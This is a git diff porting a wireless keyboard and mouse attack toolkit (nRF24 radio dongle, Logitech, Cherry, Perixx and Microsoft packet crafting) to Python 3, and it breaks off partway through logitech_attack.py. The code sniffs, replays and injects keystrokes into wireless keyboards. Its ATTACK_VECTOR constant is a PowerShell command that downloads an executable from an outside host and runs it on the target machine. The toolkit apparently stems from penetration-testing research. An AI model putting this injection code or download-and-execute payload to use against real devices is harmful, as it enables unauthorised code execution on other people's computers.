-MODIFIER_GUI_LEFT = 1 << 3
-MODIFIER_CONTROL_RIGHT = 1 << 4
-MODIFIER_SHIFT_RIGHT = 1 << 5
-MODIFIER_ALT_RIGHT = 1 << 6
-MODIFIER_GUI_RIGHT = 1 << 7
+MODIFIER_NONE = 0
+MODIFIER_CONTROL_LEFT = 1 << 0
+MODIFIER_SHIFT_LEFT = 1 << 1
+MODIFIER_ALT_LEFT = 1 << 2
+MODIFIER_GUI_LEFT = 1 << 3
+MODIFIER_CONTROL_RIGHT = 1 << 4
+MODIFIER_SHIFT_RIGHT = 1 << 5
+MODIFIER_ALT_RIGHT = 1 << 6
+MODIFIER_GUI_RIGHT = 1 << 7
# USB HID key codes
KEY_NONE = 0x00
@@ -247,15 +258,15 @@
'|' : (MODIFIER_ALT_RIGHT, KEY_EUROPE_2),
'}' : (MODIFIER_ALT_RIGHT, KEY_0),
'~' : (MODIFIER_ALT_RIGHT, KEY_BRACKET_RIGHT),
- u'\'' : (MODIFIER_SHIFT_LEFT, KEY_EUROPE_1),
- u'Ä' : (MODIFIER_SHIFT_LEFT, KEY_APOSTROPHE),
- u'Ö' : (MODIFIER_SHIFT_LEFT, KEY_SEMICOLON),
- u'Ü' : (MODIFIER_SHIFT_LEFT, KEY_BRACKET_LEFT),
- u'ä' : (MODIFIER_NONE, KEY_APOSTROPHE),
- u'ö' : (MODIFIER_NONE, KEY_SEMICOLON),
- u'ü' : (MODIFIER_NONE, KEY_BRACKET_LEFT),
- u'ß' : (MODIFIER_NONE, KEY_MINUS),
- u'€' : (MODIFIER_ALT_RIGHT, KEY_E)
+ '\'' : (MODIFIER_SHIFT_LEFT, KEY_EUROPE_1),
+ 'Ä' : (MODIFIER_SHIFT_LEFT, KEY_APOSTROPHE),
+ 'Ö' : (MODIFIER_SHIFT_LEFT, KEY_SEMICOLON),
+ 'Ü' : (MODIFIER_SHIFT_LEFT, KEY_BRACKET_LEFT),
+ 'ä' : (MODIFIER_NONE, KEY_APOSTROPHE),
+ 'ö' : (MODIFIER_NONE, KEY_SEMICOLON),
+ 'ü' : (MODIFIER_NONE, KEY_BRACKET_LEFT),
+ 'ß' : (MODIFIER_NONE, KEY_MINUS),
+ '€' : (MODIFIER_ALT_RIGHT, KEY_E)
}
@@ -264,121 +275,54 @@ class CherryKeyboard:
def __init__(self, initData):
"""Initialize Cherry keyboard"""
-
- # set current keymap
self.currentKeymap = KEYMAP_GERMAN
-
- # set AES counter
self.counter = initData[11:]
-
- # set crypto key
self.cryptoKey = initData[:11]
-
- def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE,
- keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE):
+ def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE,
+ keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE):
"""Return AES encrypted keyboard data"""
-
- # generate HID keyboard data
plaintext = pack("11B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0, 0)
-
- # encrypt the data with the set crypto key
- ciphertext = ""
- i = 0
- for b in plaintext:
- ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i]))
- i += 1
-
+ ciphertext = bytes([plaintext[i] ^ self.cryptoKey[i % len(self.cryptoKey)] for i in range(len(plaintext))])
return ciphertext + self.counter
-
- def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE):
- """Get a keystroke for a given keycode"""
- keystrokes = []
-
- # key press
- keystrokes.append(self.keyCommand(modifiers, keycode))
-
- # key release
- keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE))
-
+ def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE):
+ keystrokes = [self.keyCommand(modifiers, keycode), self.keyCommand(MODIFIER_NONE, KEY_NONE)]
return keystrokes
-
def getKeystrokes(self, string):
- """Get stream of keystrokes for a given string of printable ASCII characters"""
keystrokes = []
-
for char in string:
- # key press
key = self.currentKeymap[char]
keystrokes.append(self.keyCommand(key[0], key[1]))
-
- # key release
keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE))
-
return keystrokes
-
class PerixxKeyboard:
"""PerixxKeyboard (HID)"""
def __init__(self, initData):
- """Initialize Perixx keyboard"""
-
- # set current keymap
self.currentKeymap = KEYMAP_GERMAN
-
- # set AES counter
self.counter = initData[10:]
-
- # set crypto key
self.cryptoKey = initData[:10]
-
- def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE,
- keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE):
- """Return AES encrypted keyboard data"""
-
- # generate HID keyboard data
+ def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE,
+ keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE):
plaintext = pack("10B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0)
-
- # encrypt the data with the set crypto key
- ciphertext = ""
- i = 0
- for b in plaintext:
- ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i]))
- i += 1
-
+ ciphertext = bytes([plaintext[i] ^ self.cryptoKey[i % len(self.cryptoKey)] for i in range(len(plaintext))])
return ciphertext + self.counter
-
- def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE):
- """Get a keystroke for a given keycode"""
- keystrokes = []
-
- # key press
- keystrokes.append(self.keyCommand(modifiers, keycode))
-
- # key release
- keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE))
-
+ def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE):
+ keystrokes = [self.keyCommand(modifiers, keycode), self.keyCommand(MODIFIER_NONE, KEY_NONE)]
return keystrokes
-
def getKeystrokes(self, string):
- """Get stream of keystrokes for a given string of printable ASCII characters"""
keystrokes = []
-
for char in string:
- # key press
key = self.currentKeymap[char]
keystrokes.append(self.keyCommand(key[0], key[1]))
-
- # key release
keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE))
-
return keystrokes
@@ -386,153 +330,64 @@ class LogitechKeyboard:
"""Logitech Keyboard (HID)"""
def __init__(self, initData):
- """Initialize Logitech keyboard"""
-
- # set current keymap
self.currentKeymap = KEYMAP_GERMAN
-
- # set crypto key
self.cryptoKey = initData[2:14]
-
- # Logitech packet after key release packet
- self.KEYUP = "\x00\x4F\x00\x01\x16\x00\x00\x00\x00\x9A"
-
+ self.KEYUP = b"\x00\x4F\x00\x01\x16\x00\x00\x00\x00\x9A"
def checksum(self, data):
- checksum = 0
-
- for b in data:
- checksum -= ord(b)
-
- return pack("B", (checksum & 0xff))
+ checksum = -sum(data) & 0xFF
+ return pack("B", checksum)
-
- def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE,
- keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE):
- """Return AES encrypted keyboard data"""
-
- # generate HID keyboard data plaintext
+ def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE,
+ keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE):
plaintext = pack("12B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0, 0, 0)
-
- # encrypt the data with the set crypto key
- ciphertext = ""
-
- i = 0
- for b in plaintext:
- ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i]))
- i += 1
-
- # generate Logitech Unifying paket
- data = "\x00\xD3" + ciphertext + 7 * "\x00"
-
+ ciphertext = bytes([plaintext[i] ^ self.cryptoKey[i % len(self.cryptoKey)] for i in range(len(plaintext))])
+ data = b"\x00\xD3" + ciphertext + b'\x00' * 7
checksum = self.checksum(data)
-
return data + checksum
-
- def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE):
- """Get a keystroke for a given keycode"""
- keystrokes = []
-
- # key press
- keystrokes.append(self.keyCommand(modifiers, keycode))
-
- # key release
- keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE))
- keystrokes.append(self.KEYUP)
-
+ def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE):
+ keystrokes = [self.keyCommand(modifiers, keycode), self.keyCommand(MODIFIER_NONE, KEY_NONE), self.KEYUP]
return keystrokes
-
def getKeystrokes(self, string):
- """Get stream of keystrokes for a given string of printable ASCII characters"""
keystrokes = []
-
for char in string:
- # key press
key = self.currentKeymap[char]
keystrokes.append(self.keyCommand(key[0], key[1]))
-
- # key release
keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE))
keystrokes.append(self.KEYUP)
-
return keystrokes
class LogitechPresenter:
"""Logitech Presenter (HID)"""
-
def __init__(self):
- """Initialize Logitech Presenter keyboard"""
-
- # set current keymap
self.currentKeymap = KEYMAP_GERMAN
-
- # magic packet sent after data packets
- self.magic_packet = "\x00\x4F\x00\x00\x55\x00\x00\x00\x00\x5C"
-
+ self.magic_packet = b"\x00\x4F\x00\x00\x55\x00\x00\x00\x00\x5C"
def checksum(self, data):
- checksum = 0
-
- for b in data:
- checksum -= ord(b)
-
- return pack("B", (checksum & 0xff))
+ checksum = -sum(data) & 0xFF
+ return pack("B", checksum)
-
- def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE,
- keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE):
- """Return keyboard data"""
-
-
- # generate HID keyboard data
+ def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE,
+ keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE):
data = pack("9B", 0, 0xC1, modifiers, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6)
-
checksum = self.checksum(data)
-
return data + checksum
-
- def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE):
- """Get a keystroke for a given keycode"""
- keystrokes = []
-
- # key press
- keystrokes.append(self.keyCommand(modifiers, keycode))
-
- # magic packet
- keystrokes.append(self.magic_packet)
-
- # key release
- keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE))
-
- # magic packet
- keystrokes.append(self.magic_packet)
-
-
+ def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE):
+ keystrokes = [self.keyCommand(modifiers, keycode), self.magic_packet,
+ self.keyCommand(MODIFIER_NONE, KEY_NONE), self.magic_packet]
return keystrokes
-
def getKeystrokes(self, string):
- """Get stream of keystrokes for a given string of printable ASCII characters"""
keystrokes = []
-
for char in string:
- # key press
key = self.currentKeymap[char]
keystrokes.append(self.keyCommand(key[0], key[1]))
-
- # magic packet
keystrokes.append(self.magic_packet)
-
- # key release
keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE))
-
- # magic packet
keystrokes.append(self.magic_packet)
-
return keystrokes
-
diff --git a/lib/mouse.py b/lib/mouse.py
index d6521b3..cb8b93a 100644
--- a/lib/mouse.py
+++ b/lib/mouse.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@@ -21,10 +21,22 @@
You should have received a copy of the GNU General Public License
along with this program. If not, see .
+
+ Einstein2150 (Update 2024):
+ This program has been migrated and further developed for use with
+ Python 3 by Einstein2150. The author acknowledges that ongoing
+ enhancements and updates to the codebase may continue in the future.
+ Users should be aware that the use of this program is at their own
+ risk, and the author accepts no responsibility for any damages that
+ may arise from its use. It is the user's responsibility to ensure
+ that their use of the program complies with all applicable laws
+ and regulations.
+
+
"""
-__version__ = '0.8'
-__author__ = 'Matthias Deeg'
+__version__ = '0.9'
+__author__ = 'Einstein2150'
from struct import pack, unpack
@@ -49,24 +61,223 @@ def __init__(self):
self.middle_button = False
self.right_button = False
+ def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE):
+ """Move the mouse"""
+
+ x = max(min(x, 127), -127)
+ y = max(min(y, 127), -127)
+
+ data = pack("5b", 0x01, button, x, y, wheel)
+ return data
+
+ def click(self, button):
+ """Click a mouse button"""
+
+ return self.move(0, 0, 0, button)
+
+
+class MicrosoftMouse:
+ """MicrosoftMouse"""
+
+ def __init__(self):
+ """Initialize Microsoft mouse"""
+
+ # mouse button state
+ self.left_button = False
+ self.middle_button = False
+ self.right_button = False
+
+ # packet counter
+ self.packet_counter = 0
- def move(self, x = 0, y = 0, wheel = 0, button = MOUSE_BUTTON_NONE):
+ def checksum(self, data):
+ checksum = 0xff
+
+ for b in data:
+ checksum ^= b
+
+ return checksum
+
+ def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE):
"""Move the mouse"""
- if x > 127:
- x = 127
- elif x < -127:
- x = -127
+ x = max(min(x, 127), -127)
+ y = max(min(y, 127), -127)
- if y > 127:
- y = 127
- elif y < -127:
- y = -127
+ # increase the packet counter
+ self.packet_counter += 1
- data = pack("5b", 0x01, button, x, y, wheel)
+ counter = pack(" and
+ Gerhard Klostermeier
+
+ Copyright (c) 2016 SySS GmbH
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+"""
+
+__version__ = '0.8'
+__author__ = 'Matthias Deeg'
+
+
+from struct import pack, unpack
+
+# USB HID mouse buttons
+MOUSE_BUTTON_NONE = 0
+MOUSE_BUTTON_LEFT = 1 << 0
+MOUSE_BUTTON_RIGHT = 1 << 1
+MOUSE_BUTTON_MIDDLE = 1 << 2
+MOUSE_WHEEL_UP = 1
+MOUSE_WHEEL_DOWN = -1
+
+
+class CherryMouse:
+ """CherryMouse (HID)"""
+
+ def __init__(self):
+ """Initialize Cherry mouse"""
+
+ # mouse button state
+ self.left_button = False
+ self.middle_button = False
+ self.right_button = False
+
+ def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE):
+ """Move the mouse"""
+
+ x = max(min(x, 127), -127)
+ y = max(min(y, 127), -127)
+
+ data = pack("5b", 0x01, button, x, y, wheel)
+ return data
def click(self, button):
"""Click a mouse button"""
@@ -88,28 +299,19 @@ def __init__(self):
# packet counter
self.packet_counter = 0
-
def checksum(self, data):
checksum = 0xff
for b in data:
- checksum ^= ord(b)
+ checksum ^= b
return checksum
-
- def move(self, x = 0, y = 0, wheel = 0, button = MOUSE_BUTTON_NONE):
+ def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE):
"""Move the mouse"""
- if x > 127:
- x = 127
- elif x < -127:
- x = -127
-
- if y > 127:
- y = 127
- elif y < -127:
- y = -127
+ x = max(min(x, 127), -127)
+ y = max(min(y, 127), -127)
# increase the packet counter
self.packet_counter += 1
@@ -121,14 +323,13 @@ def move(self, x = 0, y = 0, wheel = 0, button = MOUSE_BUTTON_NONE):
wheel_bytes = pack(" 127:
- x = 127
- elif x < -127:
- x = -127
-
- if y > 127:
- y = 127
- elif y < -127:
- y = -127
+ x = max(min(x, 127), -127)
+ y = max(min(y, 127), -127)
mouse_button = pack("b", button)
x_bytes = pack(" 127:
- x = 127
- elif x < -127:
- x = -127
-
- if y > 127:
- y = 127
- elif y < -127:
- y = -127
+ x = max(min(x, 127), -127)
+ y = max(min(y, 127), -127)
x_bytes = pack(".
-'''
-
-
-import usb, logging
+
+
+ Einstein2150 (Update 2024):
+ This program has been migrated and further developed for use with
+ Python 3 by Einstein2150. The author acknowledges that ongoing
+ enhancements and updates to the codebase may continue in the future.
+ Users should be aware that the use of this program is at their own
+ risk, and the author accepts no responsibility for any damages that
+ may arise from its use. It is the user's responsibility to ensure
+ that their use of the program complies with all applicable laws
+ and regulations.
+
+
+
+"""
+
+import usb
+import logging
+import sys
# Check pyusb dependency
try:
- from usb import core as _usb_core
-except ImportError, ex:
- print '''
+ from usb import core as _usb_core
+except ImportError as ex:
+ print('''
------------------------------------------
| PyUSB was not found or is out of date. |
------------------------------------------
@@ -30,8 +48,8 @@
Please update PyUSB using pip:
sudo pip install -U -I pip && sudo pip install -U -I pyusb
-'''
- sys.exit(1)
+''')
+ sys.exit(1)
# USB commands
TRANSMIT_PAYLOAD = 0x04
@@ -46,9 +64,6 @@
ENTER_PROMISCUOUS_MODE_GENERIC = 0x0D
RECEIVE_PAYLOAD = 0x12
-# nRF24LU1+ registers
-RF_CH = 0x05
-
# RF data rates
RF_RATE_250K = 0
RF_RATE_1M = 1
@@ -57,93 +72,84 @@
# nRF24LU1+ radio dongle
class nrf24:
- # Sufficiently long timeout for use in a VM
- usb_timeout = 2500
-
- # Constructor
- def __init__(self, index=0):
- try:
- self.dongle = list(usb.core.find(idVendor=0x1915, idProduct=0x0102, find_all=True))[index]
- self.dongle.set_configuration()
- except usb.core.USBError, ex:
- raise ex
- except:
- raise Exception('Cannot find USB dongle.')
-
- # Put the radio in pseudo-promiscuous mode
- def enter_promiscuous_mode(self, prefix=[]):
- self.send_usb_command(ENTER_PROMISCUOUS_MODE, [len(prefix)]+map(ord, prefix))
- self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
- if len(prefix) > 0:
- logging.debug('Entered promiscuous mode with address prefix {0}'.
- format(':'.join('{:02X}'.format(ord(b)) for b in prefix)))
- else:
- logging.debug('Entered promiscuous mode')
-
- # Put the radio in pseudo-promiscuous mode without CRC checking
- def enter_promiscuous_mode_generic(self, prefix=[], rate=RF_RATE_2M, payload_length=32):
- self.send_usb_command(ENTER_PROMISCUOUS_MODE_GENERIC, [len(prefix), rate, payload_length]+map(ord, prefix))
- self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
- if len(prefix) > 0:
- logging.debug('Entered generic promiscuous mode with address prefix {0}'.
- format(':'.join('{:02X}'.format(ord(b)) for b in prefix)))
- else:
- logging.debug('Entered promiscuous mode')
-
- # Put the radio in ESB "sniffer" mode (ESB mode w/o auto-acking)
- def enter_sniffer_mode(self, address):
- self.send_usb_command(ENTER_SNIFFER_MODE, [len(address)]+map(ord, address))
- self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
- logging.debug('Entered sniffer mode with address {0}'.
- format(':'.join('{:02X}'.format(ord(b)) for b in address[::-1])))
-
- # Put the radio into continuous tone (TX) test mode
- def enter_tone_test_mode(self):
- self.send_usb_command(ENTER_TONE_TEST_MODE, [])
- self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
- logging.debug('Entered continuous tone test mode')
-
- # Receive a payload if one is available
- def receive_payload(self):
- self.send_usb_command(RECEIVE_PAYLOAD, ())
- return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
-
- # Transmit a generic (non-ESB) payload
- def transmit_payload_generic(self, payload, address="\x33\x33\x33\x33\x33"):
- data = [len(payload), len(address)]+map(ord, payload)+map(ord, address)
- self.send_usb_command(TRANSMIT_PAYLOAD_GENERIC, data)
- return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0
-
- # Transmit an ESB payload
- def transmit_payload(self, payload, timeout=4, retransmits=15):
- data = [len(payload), timeout, retransmits]+map(ord, payload)
- self.send_usb_command(TRANSMIT_PAYLOAD, data)
- return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0
-
- # Transmit an ESB ACK payload
- def transmit_ack_payload(self, payload):
- data = [len(payload)]+map(ord, payload)
- self.send_usb_command(TRANSMIT_ACK_PAYLOAD, data)
- return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0
-
- # Set the RF channel
- def set_channel(self, channel):
- if channel > 125: channel = 125
- self.send_usb_command(SET_CHANNEL, [channel])
- self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
- logging.debug('Tuned to {0}'.format(channel))
-
- # Get the current RF channel
- def get_channel(self):
- self.send_usb_command(GET_CHANNEL, [])
- return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
-
- # Enable the LNA (CrazyRadio PA)
- def enable_lna(self):
- self.send_usb_command(ENABLE_LNA_PA, [])
- self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
-
- # Send a USB command
- def send_usb_command(self, request, data):
- data = [request] + list(data)
- self.dongle.write(0x01, data, timeout=nrf24.usb_timeout)
+ usb_timeout = 2500 # Sufficiently long timeout for use in a VM
+
+ def __init__(self, index=0):
+ try:
+ self.dongle = list(usb.core.find(idVendor=0x1915, idProduct=0x0102, find_all=True))[index]
+ self.dongle.set_configuration()
+ except usb.core.USBError as ex:
+ raise ex
+ except Exception:
+ raise Exception('Cannot find USB dongle.')
+
+ # Put the radio in pseudo-promiscuous mode
+ def enter_promiscuous_mode(self, prefix=[]):
+ self.send_usb_command(ENTER_PROMISCUOUS_MODE, [len(prefix)] + list(prefix))
+ self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
+ logging.debug(f'Entered promiscuous mode with address prefix {":".join("{:02X}".format(b) for b in prefix)}')
+
+ # Put the radio in pseudo-promiscuous mode without CRC checking
+ def enter_promiscuous_mode_generic(self, prefix=[], rate=RF_RATE_2M, payload_length=32):
+ self.send_usb_command(ENTER_PROMISCUOUS_MODE_GENERIC, [len(prefix), rate, payload_length] + list(prefix))
+ self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
+ logging.debug(f'Entered generic promiscuous mode with address prefix {":".join("{:02X}".format(b) for b in prefix)}')
+
+ # Put the radio in ESB "sniffer" mode (ESB mode w/o auto-acking)
+ def enter_sniffer_mode(self, address):
+ if isinstance(address, str):
+ address = address.encode()
+ self.send_usb_command(ENTER_SNIFFER_MODE, [len(address)] + list(address))
+ self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
+ logging.debug(f'Entered sniffer mode with address {":".join("{:02X}".format(b) for b in address[::-1])}')
+
+ # Put the radio into continuous tone (TX) test mode
+ def enter_tone_test_mode(self):
+ self.send_usb_command(ENTER_TONE_TEST_MODE, [])
+ self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
+ logging.debug('Entered continuous tone test mode')
+
+ # Receive a payload if one is available
+ def receive_payload(self):
+ self.send_usb_command(RECEIVE_PAYLOAD, [])
+ return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
+
+ # Transmit a generic (non-ESB) payload
+ def transmit_payload_generic(self, payload, address=b"\x33\x33\x33\x33\x33"):
+ data = [len(payload), len(address)] + list(payload) + list(address)
+ self.send_usb_command(TRANSMIT_PAYLOAD_GENERIC, data)
+ return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0
+
+ # Transmit an ESB payload
+ def transmit_payload(self, payload, timeout=4, retransmits=15):
+ data = [len(payload), timeout, retransmits] + list(payload)
+ self.send_usb_command(TRANSMIT_PAYLOAD, data)
+ return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0
+
+ # Transmit an ESB ACK payload
+ def transmit_ack_payload(self, payload):
+ data = [len(payload)] + list(payload)
+ self.send_usb_command(TRANSMIT_ACK_PAYLOAD, data)
+ return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0
+
+ # Set the RF channel
+ def set_channel(self, channel):
+ channel = min(channel, 125)
+ self.send_usb_command(SET_CHANNEL, [channel])
+ self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
+ logging.debug(f'Tuned to {channel}')
+
+ # Get the current RF channel
+ def get_channel(self):
+ self.send_usb_command(GET_CHANNEL, [])
+ return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
+
+ # Enable the LNA (CrazyRadio PA)
+ def enable_lna(self):
+ self.send_usb_command(ENABLE_LNA_PA, [])
+ self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)
+
+ # Send a USB command
+ def send_usb_command(self, request, data):
+ data = [request] + list(data)
+ self.dongle.write(0x01, data, timeout=nrf24.usb_timeout)
diff --git a/logitech_attack.py b/logitech_attack.py
index 7845618..dd50f95 100644
--- a/logitech_attack.py
+++ b/logitech_attack.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@@ -12,6 +12,18 @@
Logitech MK520
Copyright (C) 2016 SySS GmbH
+
+
+ Einstein2150 (Update 2024):
+ This program has been migrated and further developed for use with
+ Python 3 by Einstein2150. The author acknowledges that ongoing
+ enhancements and updates to the codebase may continue in the future.
+ Users should be aware that the use of this program is at their own
+ risk, and the author accepts no responsibility for any damages that
+ may arise from its use. It is the user's responsibility to ensure
+ that their use of the program complies with all applicable laws
+ and regulations.
+
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -27,13 +39,12 @@
along with this program. If not, see .
"""
-__version__ = '0.8'
-__author__ = 'Matthias Deeg, Gerhard Klostermeier'
+__version__ = '0.9'
+__author__ = 'Einstein2150'
import argparse
import logging
import pygame
-
from binascii import hexlify, unhexlify
from lib import keyboard
from lib import nrf24
@@ -43,22 +54,24 @@
from sys import exit
# constants
-ATTACK_VECTOR = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'"
+ATTACK_VECTOR = "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'"
+
+RECORD_BUTTON = pygame.K_1 # record button
+REPLAY_BUTTON = pygame.K_2 # replay button
+ATTACK_BUTTON = pygame.K_3 # attack button
+SCAN_BUTTON = pygame.K_4 # scan button
-RECORD_BUTTON = pygame.K_1 # record button
-REPLAY_BUTTON = pygame.K_2 # replay button
-ATTACK_BUTTON = pygame.K_3 # attack button
-SCAN_BUTTON = pygame.K_4 # scan button
+IDLE = 0 # idle state
+RECORD = 1 # record state
+REPLAY = 2 # replay state
+SCAN = 3 # scan state
+ATTACK = 4 # attack state
-IDLE = 0 # idle state
-RECORD = 1 # record state
-REPLAY = 2 # replay state
-SCAN = 3 # scan state
-ATTACK = 4 # attack state
+SCAN_TIME = 2 # scan time in seconds for scan mode heuristics
+DWELL_TIME = 0.1 # dwell time for scan mode in seconds
+KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds
-SCAN_TIME = 2 # scan time in seconds for scan mode heuristics
-DWELL_TIME = 0.1 # dwell time for scan mode in seconds
-KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds
+SCAN_CHANNELS = list(range(2, 84)) # Default range from 2 to 84 (inclusive)
# Logitech Unifying Keep Alive packet with 90 ms
KEEP_ALIVE_90 = unhexlify("0040005A66")
@@ -71,13 +84,13 @@ class LogitechAttack():
def __init__(self, address=""):
"""Initialize Logitech Attack"""
- self.state = IDLE # current state
- self.channel = 2 # used ShockBurst channel
- self.payloads = [] # list of sniffed payloads
- self.kbd = None # keyboard for keystroke injection attacks
- self.screen = None # screen
- self.font = None # font
- self.statusText = "" # current status text
+ self.state = IDLE # current state
+ self.channel = 2 # used ShockBurst channel
+ self.payloads = [] # list of sniffed payloads
+ self.kbd = None # keyboard for keystroke injection attacks
+ self.screen = None # screen
+ self.font = None # font
+ self.statusText = "" # current status text
self.address = address
try:
@@ -90,7 +103,6 @@ def __init__(self, address=""):
pygame.display.set_icon(self.icon)
self.screen = pygame.display.set_mode((400, 300), 0, 24)
self.font = pygame.font.SysFont("arial", 24)
-# self.screen.fill((255, 255, 255))
self.screen.blit(self.bg, (0, 0))
pygame.display.update()
@@ -105,47 +117,38 @@ def __init__(self, address=""):
# start scanning mode
self.setState(SCAN)
- except:
+ except Exception as e:
# info output
- info("[-] Error: Could not initialize Logitech Attack")
-
+ info(f"[-] Error: Could not initialize Logitech Attack: {e}")
- def showText(self, text, x = 40, y = 140):
+ def showText(self, text, x=40, y=140):
output = self.font.render(text, True, (0, 0, 0))
self.screen.blit(output, (x, y))
-
def setState(self, newState):
"""Set state"""
if newState == RECORD:
- # set RECORD state
self.state = RECORD
self.statusText = "RECORDING"
elif newState == REPLAY:
- # set REPLAY state
self.state = REPLAY
self.statusText = "REPLAYING"
elif newState == SCAN:
- # set SCAN state
self.state = SCAN
self.statusText = "SCANNING"
elif newState == ATTACK:
- # set ATTACK state
self.state = ATTACK
self.statusText = "ATTACKING"
else:
- # set IDLE state
self.state = IDLE
self.statusText = "IDLING"
-
def unique_everseen(self, seq):
"""Remove duplicates from a list while preserving the item order"""
seen = set()
return [x for x in seq if str(x) not in seen and not seen.add(str(x))]
-
def run(self):
# main loop
last_keep_alive = time()
@@ -161,42 +164,28 @@ def run(self):
# record button state transitions
if i.key == RECORD_BUTTON:
- # if the current state is IDLE change it to RECORD
if self.state == IDLE:
- # set RECORD state
self.setState(RECORD)
-
- # empty payloads list
self.payloads = []
-
- # if the current state is RECORD change it to IDLE
elif self.state == RECORD:
- # set IDLE state
self.setState(IDLE)
# play button state transitions
if i.key == REPLAY_BUTTON:
- # if the current state is IDLE change it to REPLAY
if self.state == IDLE:
- # set REPLAY state
self.setState(REPLAY)
# scan button state transitions
if i.key == SCAN_BUTTON:
- # if the current state is IDLE change it to SCAN
if self.state == IDLE:
- # set SCAN state
self.setState(SCAN)
# attack button state transitions
if i.key == ATTACK_BUTTON:
- # if the current state is IDLE change it to ATTACK
if self.state == IDLE:
- # set ATTACK state
self.setState(ATTACK)
# show current status on screen
-# self.screen.fill((255, 255, 255))
self.screen.blit(self.bg, (0, 0))
self.showText(self.statusText)
@@ -221,13 +210,12 @@ def run(self):
elif self.state == REPLAY:
